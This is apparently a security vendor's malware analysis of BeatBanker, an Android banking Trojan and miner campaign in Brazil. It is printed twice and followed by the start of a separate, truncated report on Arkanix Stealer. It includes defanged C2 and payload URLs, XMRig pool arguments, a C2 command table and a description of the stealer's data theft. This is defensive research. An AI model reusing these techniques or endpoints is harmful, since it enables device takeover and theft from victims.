Recently, we uncovered BeatBanker, an Android‑based malware campaign targeting Brazil. It spreads primarily through phishing attacks via a website disguised as the Google Play Store. To achieve their goals, the malicious APKs carry multiple components, including a cryptocurrency miner and a banking Trojan capable of completely hijacking the device and spoofing screens, among other things. In a more recent campaign, the attackers switched from the banker to a known RAT.
This blog post outlines each phase of the malware’s activity on the victim’s handset, explains how it ensures long‑term persistence, and describes its communication with mining pools.
Key findings:
To maintain persistence, the Trojan employs a creative mechanism: it plays an almost inaudible audio file on a loop so it cannot be terminated. This inspired us to name it BeatBanker.
It monitors battery temperature and percentage, and checks whether the user is using the device.
At various stages of the attack, BeatBanker disguises itself as a legitimate application on the Google Play Store and as the Play Store itself.
It deploys a banker in addition to a cryptocurrency miner.
When the user tries to make a USDT transaction, BeatBanker creates overlay pages for Binance and Trust Wallet, covertly replacing the destination address with the threat actor’s transfer address.
New samples now drop BTMOB RAT instead of the banking module.
Initial infection vector
The campaign begins with a counterfeit website, cupomgratisfood[.]shop, that looks exactly like the Google Play Store. This fake app store contains the “INSS Reembolso” app, which is in fact a Trojan. There are also other apps that are most likely Trojans too, but we haven’t obtained them.
The INSS Reembolso app poses as the official mobile portal of Brazil’s Instituto Nacional do Seguro Social (INSS), a government service that citizens can use to perform more than 90 social security tasks, from retirement applications and medical exam scheduling to viewing CNIS (National Registry of Social Information), tax, and payment statements, as well as tracking request statuses. By masquerading as this trusted platform, the fake page tricks users into downloading the malicious APK.
Packing
The initial APK file is packed and makes use of a native shared library (ELF) named libludwwiuh.so that is included in the application. Its main task is to decrypt another ELF file that will ultimately load the original DEX file.
First, libludwwiuh.so decrypts an embedded encrypted ELF file and drops it to a temporary location on the device under the name l.so. The same code that loaded the libludwwiuh.so library then loads this file, which uses the Java Native Interface (JNI) to continue execution.
l.so – the DEX loader
The library does not have calls to its functions; instead, it directly calls the Java methods whose names are encrypted in the stack using XOR (stack strings technique) and restored at runtime:
Initially, the loader makes a request to collect some network information using https://ipapi.is to determine whether the infected device is a mobile device, if a VPN is being used, and to obtain the IP address and other details.
This loader is engineered to bypass mobile antivirus products by utilizing dalvik.system.InMemoryDexClassLoader. It loads malicious DEX code directly into memory, avoiding the creation of any files on the device’s file system. The necessary DEX files can be extracted using dynamic analysis tools like Frida.
Furthermore, the sample incorporates anti-analysis techniques, including runtime checks for emulated or analysis environments. When such an environment is detected (or when specific checks fail, such as verification of the supported CPU_ABI), the malware can immediately terminate its own process by invoking android.os.Process.killProcess(android.os.Process.myPid()), effectively self-destructing to hinder dynamic analysis.
After execution, the malware displays a user interface that mimics the Google Play Store page, showing an update available for the INSS Reembolso app. This is intended to trick victims into granting installation permissions by tapping the “Update” button, which allows the download of additional hidden malicious payloads.
The payload delivery process mimics the application update. The malware uses the REQUEST_INSTALL_PACKAGES permission to install APK files directly into its memory, bypassing Google Play. To ensure persistence, the malware keeps a notification about a system update pinned to the foreground and activates a foreground service with silent media playback, a tactic designed to prevent the operating system from terminating the malicious process.
Crypto mining
When UPDATE is clicked on a fake Play Store screen, the malicious application downloads and executes an ELF file containing a cryptomining payload. It starts by issuing a GET request to the C2 server at either hxxps://accessor.fud2026.com/libmine-<arch>.so or hxxps://fud2026.com/libmine-<arch>.so. The downloaded file is then decrypted using CipherInputStream(), with the decryption key being derived from the SHA-1 hash of the downloaded file’s name, ensuring that each version of the file is encrypted with a unique key. The resulting file is renamed d-miner.
The decrypted payload is an ARM-compiled XMRig 6.17.0 binary. At runtime, it attempts to create a direct TCP connection to pool.fud2026[.]com:9000. If successful, it uses this endpoint; otherwise, it automatically switches to the proxy endpoint pool-proxy.fud2026[.]com:9000. The final command-line arguments passed to XMRig are as follows:
-o pool.fud2026[.]com:9000 or pool-proxy.fud2026[.]com:9000 (selected dynamically)
-k (keepalive)
--tls (encrypted connection)
--no-color (disable colored output)
--nicehash (NiceHash protocol support)
C2 telemetry
The malware uses Google’s legitimate Firebase Cloud Messaging (FCM) as its primary command‑and‑control (C2) channel. In the analyzed sample, each FCM message received triggers a check of the battery status, temperature, installation date, and user presence. A hidden cryptocurrency miner is then started or stopped as needed. These mechanisms ensure that infected devices remain permanently accessible and responsive to the attacker’s instructions, which are sent through the FCM infrastructure. The attacker monitors the following information:
isCharging: indicates whether the phone is charging;
batteryLevel: the exact battery percentage;
isRecentInstallation: indicates whether the application was recently installed (if so, the implant delays malicious actions);
isUserAway: indicates whether the user is away from the device (screen off and inactive);
overheat: indicates whether the device is overheating;
temp: the current battery temperature.
Persistence
The KeepAliveServiceMediaPlayback component ensures continuous operation by initiating uninterrupted playback via MediaPlayer. It keeps the service active in the foreground using a notification and loads a small, continuous audio file. This constant activity prevents the system from suspending or terminating the process due to inactivity.
The identified audio output8.mp3 is five seconds long and plays on a loop. It contains some Chinese words.
Banking module
BeatBanker compromises the machine with a cryptocurrency miner and introduces another malicious APK that acts as a banking Trojan. This Trojan uses previously obtained permission to install an additional APK called INSS Reebolso, which is associated with the package com.destination.cosmetics.
Similar to the initial malicious APK, it establishes persistence by creating and displaying a fixed notification in the foreground to hinder removal. Furthermore, BeatBanker attempts to trick the user into granting accessibility permissions to the package.
Leveraging the acquired accessibility permissions, the malware establishes comprehensive control over the device’s user interface.
The Trojan constantly monitors the foreground application. It targets the official Binance application (com.binance.dev) and the Trust Wallet application (com.wallet.crypto.trustapp), focusing on USDT transactions. When a user tries to withdraw USDT, the Trojan instantly overlays the target app’s transaction confirmation screen with a highly realistic page sourced from Base64-encoded HTML stored in the banking module.
The module captures the original withdrawal address and amount, then surreptitiously substitutes the destination address with an attacker-controlled one using AccessibilityNodeInfo.ACTION_SET_TEXT. The overlay page shows the victim the address they copied (for Binance) or just shows a loading icon (for Trust Wallet), leading them to believe they are remitting funds to the intended wallet when, in fact, the cryptocurrency is transferred to the attacker’s designated address.
Fake overlay pages: Binance (left) and Trust Wallet (right)
Target browsers
BeatBanker’s banking module monitors the following browsers installed on the victim’s device:
Chrome
Firefox
sBrowser
Brave
Opera
DuckDuckGo
Dolphin Browser
Edge
Its aim is to collect the URLs accessed by the victim using the regular expression ^(?:https?://)?(?:[^:/\\\\]+\\\\.)?([^:/\\\\]+\\\\.[^:/\\\\]+). It also offers management functionalities (add, edit, delete, list) for links saved in the device’s default browser, as well as the ability to open links provided by the attacker.
C2 communication
BeatBanker is also designed to receive commands from the C2. These commands aim to collect the victim’s personal information and gain complete control of the device.
Command
Description
0
Starts dynamic loading of the DEX class
Update
Simulates software update and locks the screen
msg:
Displays a Toast message with the provided text
goauth<*>
Opens Google Authenticator (if installed) and enables the AccessService.SendGoogleAuth flag used to monitor and retrieve authentication codes
kill<*>
Sets the protection bypass flag AccessService.bypass to “True”
and sets the initializeService.uninstall flag to “Off”
srec<*>
Starts or stops audio recording (microphone), storing the recorded data in a file with an automatically generated filename. The following path format is used to store the recording: /Config/sys/apps/rc/<timestamp>_0REC<last5digits>.wav
pst<*>
Pastes text from the clipboard (via Accessibility Services)
GRC<*>
Lists all existing audio recording files
gtrc<*>
Sends a specific audio recording file to the C2
lcm<*>
Lists supported front camera resolutions
usdtress<*>
Sets a USDT cryptocurrency address when a transaction is detected
lnk<*>
Opens a link in the browser
EHP<*>
Updates login credentials (host, port, name) and restarts the application
ssms<*>
Sends an SMS message (individually or to all contacts)
CRD<*>
Adds (E>) or removes (D>) packages from the list of blocked/disabled applications
SFD<*>
Deletes files (logs, recordings, tones) or uninstalls itself
adm<>lck<>
Immediately locks the screen using Device Administrator permissions
adm<>wip<>
Performs a complete device data wipe (factory reset)
Aclk<*>
Executes a sequence of automatic taps (auto-clicker) or lists existing macros
KBO<*>lod
Checks the status of the keylogger and virtual keyboard
KBO<*>AKP/AKA
Requests permission to activate a custom virtual keyboard or activates one
Requests Draw Over Other Apps permission (overlay)
RPM<*>INST
Requests permission to install apps from unknown sources (Android 8+)
ussd<*>
Executes a USSD code (e.g., *#06# for IMEI)
Blkt<*>
Sets the text for the lock overlay
BLKV<*>
Enables or disables full-screen lock using WindowManager.LayoutParams.TYPE_APPLICATION_OVERLAY to display a black FrameLayout element over the entire screen
SCRD<> / SCRD2<>
Enables/disables real-time screen text submission to the C2 (screen reading)
Controls VPN and firewall (status, block/allow apps, enable/disable)
noti<*>
Creates persistent and custom notifications
sp<*>
Executes a sequence of swipes/taps (gesture macro)
lodp<*>
Manages saved links in the internal browser (add, edit, delete, list)
scc:
Starts screen capture/streaming
New BeatBanker samples dropping BTMOB
Our recent detection efforts uncovered a campaign leveraging a fraudulent StarLink application that we assess as being a new BeatBanker variant. The infection chain mirrored previous instances, employing identical persistence methods – specifically, looped audio and fixed notifications. Furthermore, this variant included a crypto miner similar to those seen previously. However, rather than deploying the banking module, it was observed distributing the BTMOB remote administration tool.
The BTMOB APK is highly obfuscated and contains a class responsible for configuration. Despite this, it’s possible to identify a parser used to define the application’s behavior on the device, as well as persistence features, such as protection against restart, deletion, lock reset, and the ability to perform real-time screen recording.
String decryption
The simple decryption routine uses repetitive XOR between the encrypted data and a short key. It iterates through the encrypted text byte by byte, repeating the key from the beginning whenever it reaches the end. At each position, the sample XORs the encrypted byte with the corresponding byte of the key, overwriting the original. Ultimately, the modified byte array contains the original text, which is then converted to UTF-8 and returned as a string.
Malware-as-a-Service
BTMOB is an Android remote administration tool that evolved from the CraxsRAT, CypherRAT, and SpySolr families. It provides full remote control of the victim’s device and is sold in a Malware-as-a-Service (MaaS) model. On July 26, 2025, a threat actor posted a screenshot of the BTMOB RAT in action on GitHub under the username “brmobrats”, along with a link to the website btmob[.]xyz. The website contains information about the BTMOB RAT, including its version history, features, and other relevant details. It also redirects to a Telegram contact. Cyfirma has already linked this account to CraxsRAT and CypherRAT.
Recently, a YouTube channel was created by a different threat actor that features videos demonstrating how to use the malware and facilitate its sale via Telegram.
We also saw the distribution and sale of leaked BTMOB source code on some dark web forums. This may suggest that the creator of BeatBanker acquired BTMOB from its original author or the source of the leak and is utilizing it as the final payload, replacing the banking module observed in the INSS Reebolso incident.
In terms of functionality, BTMOB maintains a set of intrusive capabilities, including: automatic granting of permissions, especially on Android 13–15 devices; use of a black FrameLayout overlay to hide system notifications similar to the one observed in the banking module; silent installation; persistent background execution; and mechanisms designed to capture screen lock credentials, including PINs, patterns, and passwords. The malware also provides access to front and rear cameras, captures keystrokes in real time, monitors GPS location, and constantly collects sensitive data. Together, these functionalities provide the operator with comprehensive remote control, persistent access, and extensive surveillance capabilities over compromised devices.
Victims
All variants of BeatBanker – those with the banking module and those with the BTMOB RAT – were detected on victims in Brazil. Some of the samples that deliver BTMOB appear to use WhatsApp to spread, as well as phishing pages.
Conclusion
BeatBanker is an excellent example of how mobile threats are becoming more sophisticated and multi-layered. Initially focused in Brazil, this Trojan operates a dual campaign, acting as a Monero cryptocurrency miner, discreetly draining your device’s battery life while also stealing banking credentials and tampering with cryptocurrency transactions. Moreover, the most recent version goes even further, substituting the banking module with a full-fledged BTMOB RAT.
The attackers have devised inventive tricks to maintain persistence. They keep the process alive by looping an almost inaudible audio track, which prevents the operating system from terminating it and allows BeatBanker to remain active for extended periods.
Furthermore, the threat demonstrates an obsession with staying hidden. It monitors device usage, battery level and temperature. It even uses Google’s legitimate system (FCM) to receive commands. The threat’s banking module is capable of overlaying Binance and Trust Wallet screens and diverting USDT funds to the criminals’ wallets before the victim even notices.
The lesson here is clear: distrust is your best defense. BeatBanker spreads through fake websites that mimic Google Play, disguising itself as trustworthy government applications. To protect yourself against threats like this, it is essential to:
Download apps only from official sources. Always use the Google Play Store or the device vendor’s official app store. Make sure you use the correct app store app, and verify the developer.
Check permissions. Pay attention to the permissions that applications request, especially those related to accessibility and installation of third-party packages.
Keep the system updated. Security updates for Android and your mobile antivirus are essential.
Our solutions detect this threat as HEUR:Trojan-Dropper.AndroidOS.BeatBanker and HEUR:Trojan-Dropper.AndroidOS.Banker.*
Recently, we uncovered BeatBanker, an Android‑based malware campaign targeting Brazil. It spreads primarily through phishing attacks via a website disguised as the Google Play Store. To achieve their goals, the malicious APKs carry multiple components, including a cryptocurrency miner and a banking Trojan capable of completely hijacking the device and spoofing screens, among other things. In a more recent campaign, the attackers switched from the banker to a known RAT.
This blog post outlines each phase of the malware’s activity on the victim’s handset, explains how it ensures long‑term persistence, and describes its communication with mining pools.
Key findings:
To maintain persistence, the Trojan employs a creative mechanism: it plays an almost inaudible audio file on a loop so it cannot be terminated. This inspired us to name it BeatBanker.
It monitors battery temperature and percentage, and checks whether the user is using the device.
At various stages of the attack, BeatBanker disguises itself as a legitimate application on the Google Play Store and as the Play Store itself.
It deploys a banker in addition to a cryptocurrency miner.
When the user tries to make a USDT transaction, BeatBanker creates overlay pages for Binance and Trust Wallet, covertly replacing the destination address with the threat actor’s transfer address.
New samples now drop BTMOB RAT instead of the banking module.
Initial infection vector
The campaign begins with a counterfeit website, cupomgratisfood[.]shop, that looks exactly like the Google Play Store. This fake app store contains the “INSS Reembolso” app, which is in fact a Trojan. There are also other apps that are most likely Trojans too, but we haven’t obtained them.
The INSS Reembolso app poses as the official mobile portal of Brazil’s Instituto Nacional do Seguro Social (INSS), a government service that citizens can use to perform more than 90 social security tasks, from retirement applications and medical exam scheduling to viewing CNIS (National Registry of Social Information), tax, and payment statements, as well as tracking request statuses. By masquerading as this trusted platform, the fake page tricks users into downloading the malicious APK.
Packing
The initial APK file is packed and makes use of a native shared library (ELF) named libludwwiuh.so that is included in the application. Its main task is to decrypt another ELF file that will ultimately load the original DEX file.
First, libludwwiuh.so decrypts an embedded encrypted ELF file and drops it to a temporary location on the device under the name l.so. The same code that loaded the libludwwiuh.so library then loads this file, which uses the Java Native Interface (JNI) to continue execution.
l.so – the DEX loader
The library does not have calls to its functions; instead, it directly calls the Java methods whose names are encrypted in the stack using XOR (stack strings technique) and restored at runtime:
Initially, the loader makes a request to collect some network information using https://ipapi.is to determine whether the infected device is a mobile device, if a VPN is being used, and to obtain the IP address and other details.
This loader is engineered to bypass mobile antivirus products by utilizing dalvik.system.InMemoryDexClassLoader. It loads malicious DEX code directly into memory, avoiding the creation of any files on the device’s file system. The necessary DEX files can be extracted using dynamic analysis tools like Frida.
Furthermore, the sample incorporates anti-analysis techniques, including runtime checks for emulated or analysis environments. When such an environment is detected (or when specific checks fail, such as verification of the supported CPU_ABI), the malware can immediately terminate its own process by invoking android.os.Process.killProcess(android.os.Process.myPid()), effectively self-destructing to hinder dynamic analysis.
After execution, the malware displays a user interface that mimics the Google Play Store page, showing an update available for the INSS Reembolso app. This is intended to trick victims into granting installation permissions by tapping the “Update” button, which allows the download of additional hidden malicious payloads.
The payload delivery process mimics the application update. The malware uses the REQUEST_INSTALL_PACKAGES permission to install APK files directly into its memory, bypassing Google Play. To ensure persistence, the malware keeps a notification about a system update pinned to the foreground and activates a foreground service with silent media playback, a tactic designed to prevent the operating system from terminating the malicious process.
Crypto mining
When UPDATE is clicked on a fake Play Store screen, the malicious application downloads and executes an ELF file containing a cryptomining payload. It starts by issuing a GET request to the C2 server at either hxxps://accessor.fud2026.com/libmine-<arch>.so or hxxps://fud2026.com/libmine-<arch>.so. The downloaded file is then decrypted using CipherInputStream(), with the decryption key being derived from the SHA-1 hash of the downloaded file’s name, ensuring that each version of the file is encrypted with a unique key. The resulting file is renamed d-miner.
The decrypted payload is an ARM-compiled XMRig 6.17.0 binary. At runtime, it attempts to create a direct TCP connection to pool.fud2026[.]com:9000. If successful, it uses this endpoint; otherwise, it automatically switches to the proxy endpoint pool-proxy.fud2026[.]com:9000. The final command-line arguments passed to XMRig are as follows:
-o pool.fud2026[.]com:9000 or pool-proxy.fud2026[.]com:9000 (selected dynamically)
-k (keepalive)
--tls (encrypted connection)
--no-color (disable colored output)
--nicehash (NiceHash protocol support)
C2 telemetry
The malware uses Google’s legitimate Firebase Cloud Messaging (FCM) as its primary command‑and‑control (C2) channel. In the analyzed sample, each FCM message received triggers a check of the battery status, temperature, installation date, and user presence. A hidden cryptocurrency miner is then started or stopped as needed. These mechanisms ensure that infected devices remain permanently accessible and responsive to the attacker’s instructions, which are sent through the FCM infrastructure. The attacker monitors the following information:
isCharging: indicates whether the phone is charging;
batteryLevel: the exact battery percentage;
isRecentInstallation: indicates whether the application was recently installed (if so, the implant delays malicious actions);
isUserAway: indicates whether the user is away from the device (screen off and inactive);
overheat: indicates whether the device is overheating;
temp: the current battery temperature.
Persistence
The KeepAliveServiceMediaPlayback component ensures continuous operation by initiating uninterrupted playback via MediaPlayer. It keeps the service active in the foreground using a notification and loads a small, continuous audio file. This constant activity prevents the system from suspending or terminating the process due to inactivity.
The identified audio output8.mp3 is five seconds long and plays on a loop. It contains some Chinese words.
Banking module
BeatBanker compromises the machine with a cryptocurrency miner and introduces another malicious APK that acts as a banking Trojan. This Trojan uses previously obtained permission to install an additional APK called INSS Reebolso, which is associated with the package com.destination.cosmetics.
Similar to the initial malicious APK, it establishes persistence by creating and displaying a fixed notification in the foreground to hinder removal. Furthermore, BeatBanker attempts to trick the user into granting accessibility permissions to the package.
Leveraging the acquired accessibility permissions, the malware establishes comprehensive control over the device’s user interface.
The Trojan constantly monitors the foreground application. It targets the official Binance application (com.binance.dev) and the Trust Wallet application (com.wallet.crypto.trustapp), focusing on USDT transactions. When a user tries to withdraw USDT, the Trojan instantly overlays the target app’s transaction confirmation screen with a highly realistic page sourced from Base64-encoded HTML stored in the banking module.
The module captures the original withdrawal address and amount, then surreptitiously substitutes the destination address with an attacker-controlled one using AccessibilityNodeInfo.ACTION_SET_TEXT. The overlay page shows the victim the address they copied (for Binance) or just shows a loading icon (for Trust Wallet), leading them to believe they are remitting funds to the intended wallet when, in fact, the cryptocurrency is transferred to the attacker’s designated address.
Fake overlay pages: Binance (left) and Trust Wallet (right)
Target browsers
BeatBanker’s banking module monitors the following browsers installed on the victim’s device:
Chrome
Firefox
sBrowser
Brave
Opera
DuckDuckGo
Dolphin Browser
Edge
Its aim is to collect the URLs accessed by the victim using the regular expression ^(?:https?://)?(?:[^:/\\\\]+\\\\.)?([^:/\\\\]+\\\\.[^:/\\\\]+). It also offers management functionalities (add, edit, delete, list) for links saved in the device’s default browser, as well as the ability to open links provided by the attacker.
C2 communication
BeatBanker is also designed to receive commands from the C2. These commands aim to collect the victim’s personal information and gain complete control of the device.
Command
Description
0
Starts dynamic loading of the DEX class
Update
Simulates software update and locks the screen
msg:
Displays a Toast message with the provided text
goauth<*>
Opens Google Authenticator (if installed) and enables the AccessService.SendGoogleAuth flag used to monitor and retrieve authentication codes
kill<*>
Sets the protection bypass flag AccessService.bypass to “True”
and sets the initializeService.uninstall flag to “Off”
srec<*>
Starts or stops audio recording (microphone), storing the recorded data in a file with an automatically generated filename. The following path format is used to store the recording: /Config/sys/apps/rc/<timestamp>_0REC<last5digits>.wav
pst<*>
Pastes text from the clipboard (via Accessibility Services)
GRC<*>
Lists all existing audio recording files
gtrc<*>
Sends a specific audio recording file to the C2
lcm<*>
Lists supported front camera resolutions
usdtress<*>
Sets a USDT cryptocurrency address when a transaction is detected
lnk<*>
Opens a link in the browser
EHP<*>
Updates login credentials (host, port, name) and restarts the application
ssms<*>
Sends an SMS message (individually or to all contacts)
CRD<*>
Adds (E>) or removes (D>) packages from the list of blocked/disabled applications
SFD<*>
Deletes files (logs, recordings, tones) or uninstalls itself
adm<>lck<>
Immediately locks the screen using Device Administrator permissions
adm<>wip<>
Performs a complete device data wipe (factory reset)
Aclk<*>
Executes a sequence of automatic taps (auto-clicker) or lists existing macros
KBO<*>lod
Checks the status of the keylogger and virtual keyboard
KBO<*>AKP/AKA
Requests permission to activate a custom virtual keyboard or activates one
Requests Draw Over Other Apps permission (overlay)
RPM<*>INST
Requests permission to install apps from unknown sources (Android 8+)
ussd<*>
Executes a USSD code (e.g., *#06# for IMEI)
Blkt<*>
Sets the text for the lock overlay
BLKV<*>
Enables or disables full-screen lock using WindowManager.LayoutParams.TYPE_APPLICATION_OVERLAY to display a black FrameLayout element over the entire screen
SCRD<> / SCRD2<>
Enables/disables real-time screen text submission to the C2 (screen reading)
Controls VPN and firewall (status, block/allow apps, enable/disable)
noti<*>
Creates persistent and custom notifications
sp<*>
Executes a sequence of swipes/taps (gesture macro)
lodp<*>
Manages saved links in the internal browser (add, edit, delete, list)
scc:
Starts screen capture/streaming
New BeatBanker samples dropping BTMOB
Our recent detection efforts uncovered a campaign leveraging a fraudulent StarLink application that we assess as being a new BeatBanker variant. The infection chain mirrored previous instances, employing identical persistence methods – specifically, looped audio and fixed notifications. Furthermore, this variant included a crypto miner similar to those seen previously. However, rather than deploying the banking module, it was observed distributing the BTMOB remote administration tool.
The BTMOB APK is highly obfuscated and contains a class responsible for configuration. Despite this, it’s possible to identify a parser used to define the application’s behavior on the device, as well as persistence features, such as protection against restart, deletion, lock reset, and the ability to perform real-time screen recording.
String decryption
The simple decryption routine uses repetitive XOR between the encrypted data and a short key. It iterates through the encrypted text byte by byte, repeating the key from the beginning whenever it reaches the end. At each position, the sample XORs the encrypted byte with the corresponding byte of the key, overwriting the original. Ultimately, the modified byte array contains the original text, which is then converted to UTF-8 and returned as a string.
Malware-as-a-Service
BTMOB is an Android remote administration tool that evolved from the CraxsRAT, CypherRAT, and SpySolr families. It provides full remote control of the victim’s device and is sold in a Malware-as-a-Service (MaaS) model. On July 26, 2025, a threat actor posted a screenshot of the BTMOB RAT in action on GitHub under the username “brmobrats”, along with a link to the website btmob[.]xyz. The website contains information about the BTMOB RAT, including its version history, features, and other relevant details. It also redirects to a Telegram contact. Cyfirma has already linked this account to CraxsRAT and CypherRAT.
Recently, a YouTube channel was created by a different threat actor that features videos demonstrating how to use the malware and facilitate its sale via Telegram.
We also saw the distribution and sale of leaked BTMOB source code on some dark web forums. This may suggest that the creator of BeatBanker acquired BTMOB from its original author or the source of the leak and is utilizing it as the final payload, replacing the banking module observed in the INSS Reebolso incident.
In terms of functionality, BTMOB maintains a set of intrusive capabilities, including: automatic granting of permissions, especially on Android 13–15 devices; use of a black FrameLayout overlay to hide system notifications similar to the one observed in the banking module; silent installation; persistent background execution; and mechanisms designed to capture screen lock credentials, including PINs, patterns, and passwords. The malware also provides access to front and rear cameras, captures keystrokes in real time, monitors GPS location, and constantly collects sensitive data. Together, these functionalities provide the operator with comprehensive remote control, persistent access, and extensive surveillance capabilities over compromised devices.
Victims
All variants of BeatBanker – those with the banking module and those with the BTMOB RAT – were detected on victims in Brazil. Some of the samples that deliver BTMOB appear to use WhatsApp to spread, as well as phishing pages.
Conclusion
BeatBanker is an excellent example of how mobile threats are becoming more sophisticated and multi-layered. Initially focused in Brazil, this Trojan operates a dual campaign, acting as a Monero cryptocurrency miner, discreetly draining your device’s battery life while also stealing banking credentials and tampering with cryptocurrency transactions. Moreover, the most recent version goes even further, substituting the banking module with a full-fledged BTMOB RAT.
The attackers have devised inventive tricks to maintain persistence. They keep the process alive by looping an almost inaudible audio track, which prevents the operating system from terminating it and allows BeatBanker to remain active for extended periods.
Furthermore, the threat demonstrates an obsession with staying hidden. It monitors device usage, battery level and temperature. It even uses Google’s legitimate system (FCM) to receive commands. The threat’s banking module is capable of overlaying Binance and Trust Wallet screens and diverting USDT funds to the criminals’ wallets before the victim even notices.
The lesson here is clear: distrust is your best defense. BeatBanker spreads through fake websites that mimic Google Play, disguising itself as trustworthy government applications. To protect yourself against threats like this, it is essential to:
Download apps only from official sources. Always use the Google Play Store or the device vendor’s official app store. Make sure you use the correct app store app, and verify the developer.
Check permissions. Pay attention to the permissions that applications request, especially those related to accessibility and installation of third-party packages.
Keep the system updated. Security updates for Android and your mobile antivirus are essential.
Our solutions detect this threat as HEUR:Trojan-Dropper.AndroidOS.BeatBanker and HEUR:Trojan-Dropper.AndroidOS.Banker.*
In October 2025, we discovered a series of forum posts advertising a previously unknown stealer, dubbed “Arkanix Stealer” by its authors. It operated under a MaaS (malware-as-a-service) model, providing users not only with the implant but also with access to a control panel featuring configurable payloads and statistics. The set of implants included a publicly available browser post-exploitation tool known as ChromElevator, which was delivered by a native C++ version of the stealer. This version featured a wide range of capabilities, from collecting system information to stealing cryptocurrency wallet data. Alongside that, we have also discovered Python implementation of the stealer capable of dynamically modifying its configuration. The Python version was often packed, thus giving the adversary multiple methods for distributing their malware. It is also worth noting that Arkanix was rather a one-shot malicious campaign: at the time of writing this article, the affiliate program appears to be already taken down.
Kaspersky products detect this threat as Trojan-PSW.Win64.Coins.*, HEUR:Trojan-PSW.Multi.Disco.gen, Trojan.Python.Agent.*.
Technical details
Background
In October 2025, a series of posts was discovered on various dark web forums, advertising a stealer referred to by its author as “Arkanix Stealer”. These posts detail the features of the stealer and include a link to a Discord server, which serves as the primary communication channel between the author and the users of the stealer.
Example of an Arkanix Stealer advertisement
Upon further research utilizing public resources, we identified a set of implants associated with this stealer.
Initial infection or spreading
The initial infection vector remains unknown. However, based on some of the file names (such as steam_account_checker_pro_v1.py, discord_nitro_checker.py, and TikTokAccountBotter.exe) of the loader scripts we obtained, it can be concluded with high confidence that the initial infection vector involved phishing.
Python loader
MD5
208fa7e01f72a50334f3d7607f6b82bf
File name
discord_nitro_code_validator_right_aligned.py
The Python loader is the script responsible for downloading and executing the Python-based version of the Arkanix infostealer. We have observed both plaintext Python scripts and those bundled using PyInstaller or Nuitka, all of which share a common execution vector and are slightly obfuscated. These scripts often serve as decoys, initially appearing to contain legitimate code. Some of them do have useful functionality, and others do nothing apart from loading the stealer. Additionally, we have encountered samples that employ no obfuscation at all, in which the infostealer is launched in a separate thread via Python’s built-in threading module.
Variants of Python loaders executing the next stage
Upon execution, the loader first installs the required packages — namely, requests, pycryptodome, and psutil — via the pip package manager, utilizing the subprocess module. On Microsoft Windows systems, the loader also installs pywin32. In some of the analyzed samples, this process is carried out twice. Since the loader does not perform any output validation of the module installation command, it proceeds to make a POST request to hxxps://arkanix[.]pw/api/session/create to register the current compromised machine on the panel with a predefined set of parameters even if the installation failed. After that, the stealer makes a GET request to hxxps://arkanix[.]pw/stealer.py and executes the downloaded payload.
Python stealer version
MD5
af8fd03c1ec81811acf16d4182f3b5e1
File name
–
During our research, we obtained a sample of the Python implementation of the Arkanix stealer, which was downloaded from the endpoint hxxps://arkanix[.]pw/stealer.py by the previous stage.
The stealer’s capabilities — or features, as referred to by the author — in this version are configurable, with the default configuration predefined within the script file. To dynamically update the feature list, the stealer makes a GET request to hxxps://arkanix[.]pw/api/features/{payload_id}, indicating that these capabilities can be modified on the panel side. The feature list is identical to the one that was described in the GDATA report.
Configurable options
Prior to executing the information retrieval-related functions, the stealer makes a request to hxxps://arkanix[.]pw/upload_dropper.py, saves the response to %TEMP%\upd_{random 8-byte name}.py, and executes it. We do not have access to the contents of this script, which is referred to as the “dropper” by the attackers.
During its main information retrieval routine, at the end of each processing stage, the collected information is serialized into JSON format and saved to a predefined path, such as %LOCALAPPDATA\Arkanix_lol\%info_class%.json.
In the following, we will provide a more detailed description of the Python version’s data collection features.
System info collection
Arkanix Stealer is capable of collecting a set of info about the compromised system. This info includes:
OS version
CPU and GPU info
RAM size
Screen resolution
Keyboard layout
Time zone
Installed software
Antivirus software
VPN
Information collection is performed using standard shell commands with the exception of the VPN check. The latter is implemented by querying the endpoint hxxps://ipapi[.]co/json/ and verifying whether the associated IP address belongs to a known set of VPNs, proxies, or Tor exit nodes.
Browser features
This stealer is capable of extracting various types of data from supported browsers (22 in total, ranging from the widely popular Google Chrome to the Tor Browser). The list of supported browsers is hardcoded, and unlike other parameters, it cannot be modified during execution. In addition to a separate Chrome grabber module (which we’ll discuss later), the stealer itself supports the extraction of diverse information, such as:
Browser history (URLs, visit count and last visit)
Autofill information (email, phone, addresses and payment cards details)
Saved passwords
Cookies
In case of Chromium-based browsers, 0Auth2 data is also extracted
All information is decrypted using either the Windows DPAPI or AES, where applicable, and searched for relevant keywords. In the case of browser information collection, the stealer searches exclusively for keywords related to banking (e.g., “revolut”, “stripe”, “bank”) and cryptocurrencies (e.g., “binance”, “metamask”, “wallet”). In addition to this, the stealer is capable of extracting extension data from a hardcoded list of extensions associated with cryptocurrencies.
Part of the extension list which the stealer utilizes to extract data from
Telegram info collection
Telegram data collection begins with terminating the Telegram.exe process using the taskkill command. Subsequently, if the telegram_optimized feature is set to False, the malware zips the entire tdata directory (typically located at %APPDATA%\Roaming\Telegram Desktop\tdata) and transmits it to the attacker. Otherwise, it selectively copies and zips only the subdirectories containing valuable info, such as message log. The generated archive is sent to the endpoint /delivery with the filename tdata_session.zip.
Discord capabilities
The stealer includes two features connected with Discord: credentials stealing and self-spreading. The first one can be utilized to acquire credentials both from the standard client and custom clients. If the client is Chromium-based, the stealer employs the same data exfiltration mechanism as during browser credentials stealing.
The self-spreading feature is configurable (meaning it can be disabled in the config). The stealer acquires the list of user’s friends and channels via the Discord API and sends a message provided by the attacker. This stealer does not support attaching files to such messages.
VPN data collection
The VPN collector is searching for a set of known VPN software to extract account credentials from the credentials file with a known path that gets parsed with a regular expression. The extraction occurs from the following set of applications:
Mullvad VPN
NordVPN
ExpressVPN
ProtonVPN
File retrieval
File retrieval is performed regardless of the configuration. The script relies on a predefined set of paths associated with the current user (such as Desktop, Download, etc.) and file extensions mainly connected with documents and media. The script also has a predefined list of filenames to exfiltrate. The extracted files are packed into a ZIP archive which is later sent to the C2 asynchronously. An interesting aspect is that the filename list includes several French words, such as “motdepasse” (French for “password”), “banque” (French for “bank”), “secret” (French for “secret”), and “compte” (French for “account”).
Other payloads
We were able to identify additional modules that are downloaded from the C2 rather than embedded into the stealer script; however, we weren’t able to obtain them. These modules can be described by the following table, with the “Details” column referring to the information that could be extracted from the main stealer code.
Module name
Endpoint to download
Details
Chrome grabber
/api/chrome-grabber-template/{payload_id}
–
Wallet patcher
/api/wallet-patcher/{payload_id}
Checks whether “Exodus” and “Atomic” cryptocurrency wallets are installed
Extra collector
